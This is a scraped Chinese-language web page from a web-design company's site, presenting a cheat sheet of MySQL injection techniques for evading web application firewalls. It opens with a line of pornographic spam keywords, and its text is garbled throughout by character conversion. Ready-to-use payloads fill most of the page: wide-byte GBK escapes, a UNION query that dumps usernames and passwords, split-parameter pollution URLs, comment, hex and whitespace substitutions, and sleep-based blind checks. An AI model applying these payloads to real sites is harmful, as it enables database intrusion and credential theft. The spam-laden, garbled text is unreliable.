真实的国产乱ⅩXXX66竹夫人,五月香六月婷婷激情综合,亚洲日本VA一区二区三区,亚洲精品一区二区三区麻豆

成都創(chuàng)新互聯(lián)網(wǎng)站制作重慶分公司

MySQL注入繞過WAF的基礎方式是什么

這篇文章主要介紹“MySQL注入繞過WAF的基礎方式是什么”,在日常操作中,相信很多人在MySQL注入繞過WAF的基礎方式是什么問題上存在疑惑,小編查閱了各式資料,整理出簡單好用的操作方法,希望對大家解答”MySQL注入繞過WAF的基礎方式是什么”的疑惑有所幫助!接下來,請跟著小編一起來學習吧!

成都創(chuàng)新互聯(lián)公司自2013年創(chuàng)立以來,先為遂平等服務建站,遂平等地企業(yè),進行企業(yè)商務咨詢服務。為遂平企業(yè)網(wǎng)站制作PC+手機+微官網(wǎng)三網(wǎng)同步一站式服務解決您的所有建站問題。

SQL注入繞過WAF

基礎繞過

1. 大小寫繞過

用于過濾時沒有匹配大小寫的情況:

SeLECt * from table;

2. 雙寫繞過

用于將禁止的字符直接刪除的情況:

比如,使用preg_replace()或者是str_replace()and、orselect、union等關鍵詞替換為空字符串。

這時,可以使用雙寫嵌套繞過,or寫成oorrand寫成aandnd、select寫成seselectlectunion寫成uniunionon。在刪除一個關鍵字后,剩下的部分又可以重新組合成完整的關鍵字。

3. 內(nèi)聯(lián)注釋

內(nèi)聯(lián)注釋的作用是增加SQL語句的可移植性。比如,將MySQL特有的語法使用內(nèi)聯(lián)注釋的形式來編寫,在這種情況下,MySQL可以正常的解析并執(zhí)行內(nèi)聯(lián)注釋中的代碼,但是其它的SQL服務器則忽略內(nèi)聯(lián)注釋中的內(nèi)容。

/*! MySQL特有的語法 */

例如MySQL服務器可以在以下語句中識別STRAIGHT_JOIN關鍵字,而其他服務器則不能:

SELECT /*! STRAIGHT_JOIN*/ col1 FROM table1,table2 WHERE ...

如果在!后面添加版本號,則僅當MySQL版本大于或者等于指定的版本號時,才會執(zhí)行注釋中的語法。例如,以下注釋中的關鍵字KEY_BLOCK_SIZE僅由MySQL 5.1.10或者更高版本的服務器執(zhí)行:

CREATE TABLE t1(a INT, KEY (a)) /*!50110 KEY_BLOCK_SIZE=1024*/

/*! */類型的注釋,內(nèi)部語句會被執(zhí)行

select bbb from table1 where aaa='' union /*! select database()*/;

可以用來繞過一些WAF,或者是繞過空格

但是,不能將關鍵詞用注釋分開,例如下面的語句是不可執(zhí)行的(或者說只能在某些較老版本執(zhí)行)

select bbb from table1 where balabala='' union se/*!lect database()*/;

4. 使用16進制繞過特定字符

如果在查詢字段名的時候表名被過濾,或者是數(shù)據(jù)庫中某些特定字符被過濾,則可以使用16進制繞過。

select column_name from information_schema.columns where table_name=0x7573657273;

0x7573657273為users的16進制編碼

5. 寬字節(jié)、Latin1默認編碼

寬字節(jié)注入

以下是常用的URL編碼

ASCII值URL編碼
\%5C
'%27
"%22
#%23
&%26

寬字節(jié)注入的利用條件

查詢參數(shù)是被單引號包圍的,傳入的單引號又被轉(zhuǎn)義符\轉(zhuǎn)義,如在后臺數(shù)據(jù)庫中對接收的參數(shù)使用addslashes()、mysql_real_escape_string()或者是其他轉(zhuǎn)義函數(shù)

數(shù)據(jù)庫的編碼為GBK

概括的說,就是單引號被轉(zhuǎn)義,但編碼為GBK。

利用方式

GET形式

id=-1%DF' union select 1,user(),3%23

在上述條件下,單引號'被轉(zhuǎn)義為\',即%5c%27。如果我們在單引號前加上%df,就會構(gòu)成%df%5c%27,而在GBK編碼方式下,%df%5c是漢字"連",所以單引號成功逃逸。

如果是在請求體中,需要使用POST參數(shù)。使用Burp Suite抓取請求,然后在單引號(%27)之前添加%df。

uname=%df%27 and 1=2 UNION SELECT 1,(SELECT GROUP_CONCAT(username,password SEPARATOR 0x3c62723e) FROM users) #&passwd=2

寬字節(jié)注入原理

MySQL在使用GBK編碼時,會認為兩個字符為一個漢字,例如%aa%5c就是一個漢字。因為轉(zhuǎn)義方法主要就是在敏感字符前面添加反斜杠\,所以這里想辦法去掉反斜杠即可。

%df吃掉\

其實這里第一個字符并不局限為%df,只要是在%aa%fe范圍內(nèi)都可以。具體原因是,urlencode(\')=%5c%27,我們在%5c%27前面添加%df,形成%df%5c%27,MySQL在GBK編碼方式的時候,會將兩個字節(jié)當做一個漢字,這個時候就把%df%5c當做是一個漢字,%27則作為一個單獨的符號'在外面,同時也就達到了我們的目的。

\'中的\過濾掉

例如可以構(gòu)造%5c%5c%27的情況,后面的%5C會被前面的%5C給注釋掉。這也是bypass的一種方法。

addslashes()函數(shù)返回在預定義字符之前添加反斜杠的字符串。

預定義字符轉(zhuǎn)義后
\\\
'\'
"\"

該函數(shù)可用于為存儲在數(shù)據(jù)庫中的字符串以及數(shù)據(jù)庫查詢語句準備字符串。

在使用addslashes()時,我們需要將mysql_query設置為binary的方式,才能夠防御此漏洞。

Latin1編碼

Mysql表的編碼默認為latin1,如果設置字符集為utf8,則存在一些latin1中有而utf8中沒有的字符,而Mysql是如何處理這些字符的呢?直接忽略

于是我們可以輸入?username=admin%c2,存儲至表中就變?yōu)榱薬dmin

上面的%c2可以換為%c2-%ef之間的任意字符

6. 常用字符的替代

and -> &&
or -> ||
空格 -> /**/ -> %a0 -> %0a -> +
# -> -- + -> ;%00(php<=5.3.4) -> or '1'='1
= -> like -> regexp -> <> -> in
注意:regexp為正則匹配,利用正則會有些新的注入手段

注意,因為&是URL中不同參數(shù)之間的分隔符,所以,在前端中需要將&進行URL編碼,編碼為%26

過濾空格

使用preg_replace()或者str_replace()函數(shù),將空白字符替換為空字符串。

過濾了空格,使用編碼繞過??梢允褂萌缦路杹硖娲?/p>

符號說明
%09TAB鍵(水平)
%0a新建一行
%0c新的一頁
%0dreturn功能
%0bTAB鍵(垂直)
%a0空格

過濾注釋

使用preg_replace()或者str_replace()函數(shù),將多行注釋/**/,單行注釋--#替換為空字符串。

繞過方式:使用閉合繞過。

7. HTTP參數(shù)污染

HTTP參數(shù)污染

由于沒有相關的HTTP RFC定義HTTP參數(shù)操作的語義,因此每個Web應用程序可能會以不用的方式來處理多個相同名稱的參數(shù)。

在單個HTTP請求中,攻擊者使用多個具有相同名稱的參數(shù),將注入語句中的關鍵字拆分在每個參數(shù)的值中。

比如,index.php?par1=val1&par1=val2

下表是不同的Web服務器如何管理多次出現(xiàn)的同一參數(shù)。

HTTP后端總體解析結(jié)果例子
ASP.NET/IIS特定參數(shù)所有內(nèi)容進行拼接par1=val1,val2
ASP/IIS特定參數(shù)所有內(nèi)容進行拼接par1=val1,val2
PHP/Apache最后一次出現(xiàn)的參數(shù)內(nèi)容par1=val2
PHP/Zeus最后一次出現(xiàn)的參數(shù)內(nèi)容par1=val2
JSP,Servlet/Apache Tomcat第一次出現(xiàn)的參數(shù)內(nèi)容par1=val1

當Web應用程序?qū)⒍鄠€參數(shù)的值拼接起來,就可以得到完整的注入語句。同時,如果WAF只單獨檢查每個參數(shù)的值,或者是將整個請求數(shù)據(jù)作為單個字符串處理,這樣的安全機制將無法檢測到HPP攻擊。比如,ASP/IIS將重復出現(xiàn)的參數(shù)的值拼接起來。

下面是兩個SQL注入的場景:"常規(guī)攻擊"和"使用HPP攻擊"。

“常規(guī)攻擊”演示了prodID參數(shù)中的標準聯(lián)合注入語句。這種攻擊方式會被Web應用程序防火墻(WAF)輕松識別。第二次攻擊在prodID參數(shù)上使用HPP。在這種情況下,prodID參數(shù)多次出現(xiàn),而注入語句被拆分在每個prodID的值中。為了使WAF能夠識別完整的注入語句,還需要將所有的輸入拼接起來檢查。

常規(guī)攻擊:http://webApplication/showproducts.asp?prodID=9 UNION SELECT 1,2,3 FROM Users WHERE id=3 —

使用HPP攻擊:http://webApplication/showproducts.asp?prodID=9 /*&prodID=*/UNION /*&prodID=*/SELECT 1 &prodID=2 &prodID=3 FROM /*&prodID=*/Users /*&prodID=*/ WHERE id=3 —

8. 逗號被過濾

用join代替

-1 union select 1,2,3

-1 union select * from (select 1)a join (select 2)b join (select 3)c%23

limit

limit 2,1

limit 1 offset 2

substr

select substr(database(),5,1)

select substr(database() from 5 for 1)from為從第幾個字符開始,for為截取的長度

select substr(database() from 5)from 5表示從第5個字符開始截取

如果for也被過濾了

select mid(reverse(mid(database() from (-5)))from(-1))

if

select if(database()='xxx',sleep(3),1)

SELECT 1 and DATABASE()='security' and sleep(3)

select case when database()='xxx' then sleep(5) else 0 end

9. limit被過濾

select user from users limit 1

加限制條件

select user from users group by user_id having user_id=1(user_id是表中的一個列)

11. and、or、&&、||被過濾

可用運算符! ^ ~以及not xor來代替

12. 各個字符以及函數(shù)的代替

常用函數(shù)的替代

字符串截取/拼接函數(shù):

摘自https://xz.aliyun.com/t/7169

函數(shù)說明
SUBSTR(str,N_start,N_length)對指定字符串進行截取,為SUBSTRING的簡單版。
SUBSTRING()多種格式SUBSTRING(str,pos)、SUBSTRING(str FROM pos)、SUBSTRING(str,pos,len)、SUBSTRING(str FROM pos FOR len)。
RIGHT(str,len)對指定字符串從最右邊截取指定長度。
LEFT(str,len)對指定字符串從最左邊截取指定長度。
RPAD(str,len,padstr)str右方補齊len位的字符串padstr,返回新字符串。如果str長度大于len,則返回值的長度將縮減到len所指定的長度。
LPAD(str,len,padstr)與RPAD相似,在str左邊補齊。
MID(str,pos,len)同于SUBSTRING(str,pos,len)。
INSERT(str,pos,len,newstr)在原始字符串str中,將自左數(shù)第pos位開始,長度為len個字符的字符串替換為新字符串newstr,然后返回經(jīng)過替換后的字符串。INSERT(str,len,1,0x0)可當做截取函數(shù)。
CONCAT(str1,str2…)函數(shù)用于將多個字符串合并為一個字符串
GROUP_CONCAT(…)返回一個字符串結(jié)果,該結(jié)果由分組中的值連接組合而成。
MAKE_SET(bits,str1,str2,…)根據(jù)參數(shù)1,返回所輸入其他的參數(shù)值??捎米鞑紶柮ぷ?,如:EXP(MAKE_SET((LENGTH(DATABASE())>8)+1,'1','710'))

數(shù)字的代替:

使用true、false、pi()、!floor、~ceil()、version()等數(shù)學運算函數(shù)的組合進行代替

函數(shù)/語句

說明



LENGTH(str)返回字符串的長度。
PI()返回π的具體數(shù)值。
REGEXP “statement”正則匹配數(shù)據(jù),返回值為布爾值。
LIKE “statement”匹配數(shù)據(jù),%代表任意內(nèi)容。返回值為布爾值。
RLIKE “statement”與regexp相同。
LOCATE(substr,str,[pos])返回子字符串第一次出現(xiàn)的位置。
POSITION(substr IN str)等同于LOCATE()
LOWER(str)將字符串的大寫字母全部轉(zhuǎn)成小寫。同:LCASE(str)。
UPPER(str)將字符串的小寫字母全部轉(zhuǎn)成大寫。同:UCASE(str)。
ELT(N,str1,str2,str3,…)MAKE_SET(bit,str1,str2...)類似,根據(jù)N返回參數(shù)值。
NULLIF(expr1,expr2)若expr1與expr2相同,則返回expr1,否則返回NULL。
CHARSET(str)返回字符串使用的字符集。
DECODE(crypt_str,pass_str)使用 pass_str 作為密碼,解密加密字符串 crypt_str。加密函數(shù):ENCODE(str,pass_str)。

到此,關于“MySQL注入繞過WAF的基礎方式是什么”的學習就結(jié)束了,希望能夠解決大家的疑惑。理論與實踐的搭配能更好的幫助大家學習,快去試試吧!若想繼續(xù)學習更多相關知識,請繼續(xù)關注創(chuàng)新互聯(lián)網(wǎng)站,小編會繼續(xù)努力為大家?guī)砀鄬嵱玫奈恼拢?/p>
網(wǎng)頁名稱:MySQL注入繞過WAF的基礎方式是什么
文章分享:http://weahome.cn/article/jgpsis.html

其他資訊

在線咨詢

微信咨詢

電話咨詢

028-86922220(工作日)

18980820575(7×24)

提交需求

返回頂部